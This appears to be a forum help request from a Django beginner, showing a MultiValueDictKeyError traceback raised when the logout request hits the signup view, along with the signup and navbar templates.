I am getting an error as shown below. Traceback (most recent call last): File "C:\Users\Tyler Durden\AppData\Local\Programs\Python\Python37\lib\site-packages\django\core\handlers\exception.py", line 35, in inner response = get_response(request) File "C:\Users\Tyler Durden\AppData\Local\Programs\Python\Python37\lib\site-packages\django\core\handlers\base.py", line 128, in _get_response response = self.process_exception_by_middleware(e, request) File "C:\Users\Tyler Durden\AppData\Local\Programs\Python\Python37\lib\site-packages\django\core\handlers\base.py", line 126, in _get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "C:\Users\Tyler Durden\Desktop\ProductHunt\accounts\views.py", line 10, in signup if request.POST['password1'] == request.POST['password2']: File "C:\Users\Tyler Durden\AppData\Local\Programs\Python\Python37\lib\site-packages\django\utils\datastructures.py", line 79, in getitem raise MultiValueDictKeyError(key) django.utils.datastructures.MultiValueDictKeyError: 'password1' [24/Apr/2019 04:39:23] "POST /accounts/logout HTTP/1.1" 500 74823 HERE IS signup.html <form method="POST" action="{% url 'signup' %}"> {% csrf_token %} Username: <br /> <input type="text" name="username" /> <br /> Password: <br /> <input type="password" name="password1" /> <br /> Confirm Password: <br /> <input type="password" name="password2" /> <br /> <br /> <input class="btn btn-primary" type"submit" value="Sign Up!"> HERE IS base.html <ul class="navbar-nav ml-auto"> {% if user.is_authenticated %} <li class="nav-item"> <a class="nav-link" href="javascript:{document.getElementById('logout').submit()}">Logout</a> </li> <form id ="logout" method="POST" action="{% url 'logout' %}"> {% csrf_token %} <input type="hidden" /> </form> {% else %} <li class="nav-item"> <a class="nav-link" href="{% url 'signup' %}">Signup</a> </li> <li class="nav-item"> <a class="nav-link" href="{% url 'login' %}">Login</a> </li> {% endif %} </ul>